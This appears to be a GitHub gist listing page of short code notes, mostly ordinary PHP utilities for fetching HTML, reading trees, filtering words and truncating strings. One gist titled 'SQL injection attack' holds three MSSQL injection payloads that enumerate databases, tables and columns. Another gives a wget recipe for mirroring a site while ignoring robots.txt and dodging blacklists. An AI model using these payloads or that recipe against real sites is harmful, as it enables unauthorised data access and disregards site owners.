Skip to content

Instantly share code, notes, and snippets.

View cloudsben's full-sized avatar
🏠
Working from home

Ben cloudsben

🏠
Working from home
View GitHub Profile
@cloudsben
cloudsben / http_get_utf8_html.php
Last active December 15, 2015 05:39
/* 获取指定URL的HTML,如果页面是非UTF-8编码,会自动转换为UTF-8编码 若指定网址的content-type不是text/html,则不会抓取网页内容 return: array url: 若有301/302,返回跳转后的url html: base_url: error: */
<?php
if ( ! function_exists('http_get_utf8_html'))
{
function http_get_utf8_html($url,$from_encoding='')
{
$result = array();
$result['url'] = $url;
$result['html'] = '';
$header = get_headers_by_curl($url);
@cloudsben
cloudsben / tree.php
Last active December 13, 2015 21:08
读取树状数据的方法 一般在读取用“邻接列表算法”组织的数据时,需要使用递归逐层读取 或者读取数据到数组,然后用递归或非递归的方法再行处理
<?php
mysql_connect();
//测试数据
$sql =<<< SQL
select * from (
select '1' as id, '0' as pid, 'Food' as title
union all select '2', '1', 'Fruit'
union all select '3', '2', 'Red'
union all select '4', '3', 'Cherry'
@cloudsben
cloudsben / grab_article.php
Created January 24, 2013 03:15
grab article content
<?php
error_reporting(-1);
$parent_nodes = array();
$html = file_get_contents("http://www.csdn.net/article/2013-01-09/2813524-CSDN-morning-paper");
$doc = new DOMDocument();
$doc->encoding = "utf-8";
@cloudsben
cloudsben / gist:4490135
Created January 9, 2013 02:52
Download an entire website
# -p parameter tells wget to include all files, including images.
# -e robots=off you don't want wget to obey by the robots.txt file
# -U mozilla as your browsers identity.
# --random-wait to let wget chose a random number of seconds to wait, avoid get into black list.
# Other Useful wget Parameters:
# --limit-rate=20k limits the rate at which it downloads files.
# -b continues wget after logging out.
# -o $HOME/wget_log.txt logs the output
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com
@cloudsben
cloudsben / sql-injection.sql
Created December 12, 2012 07:00
SQL injection attack
t' or 1=(SELECT top 1 name FROM master..sysdatabases where name not in (SELECT top 0 name FROM master..sysdatabases))--
b' or 1=(SELECT top 1 name FROM master..sysobjects where xtype='U' and name not in (SELECT top 1 name FROM master..sysobjects where xtype='U'))--
b' or 1=(SELECT top 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='spt_fallback_db');
@cloudsben
cloudsben / sensitive.php
Created December 6, 2012 06:06
敏感词过滤
function checkUploadText($content)
{
$stoptext = file_get_contents($this->CI->config->item('stopword_file'));
$stoptext = str_replace("\n",'',$stoptext);
$stoptext = str_replace("\r",'',$stoptext);
$stopwords = array_map('strtolower',explode(',',$stoptext));
$content = strtolower($content);
$ret = array('ret'=>1,'word'=>'');
if($content!='')
@cloudsben
cloudsben / gist:4071209
Created November 14, 2012 09:33
vpn 忽略某些地址
sudo route -n add -net 192.168.6.0 -netmask 255.255.255.0 192.168.200.1
@cloudsben
cloudsben / html_substr.php
Created November 7, 2012 02:32
截取字符串到指定位置,html不包含在内
/**
* 函数名 html_substr
* 功能 从html串中截取指定长度的字串,html标记不计算在内
* 参数
* $str 要截取的串
* $len 要截取的长度
* $mode 不匹配的标记的处理方式 0 删去(默认),1 补齐
* 返回 截取到的串
* 说明
* 未考虑多字节字符,仅已字节做计数单位
@cloudsben
cloudsben / compose.php
Created November 7, 2012 02:23
PHP闭包
function compose() {
$funcs = func_get_args();
return function ($x) use ($funcs) {
foreach($funcs as $func)
$x = $func($x);
return $x;
};
}
@cloudsben
cloudsben / substring.php
Created November 7, 2012 02:08
截取字符串到指定位置
<?php
for($i=0;$i< 90000; $i++)
{
$a .= ','.rand(10000,99999);
}
// $b = explode(',', $a);
// $c =array_slice($b, 0, 20);
// var_dump($c);
$cc = 0;$pos = 0;
echo $a[0];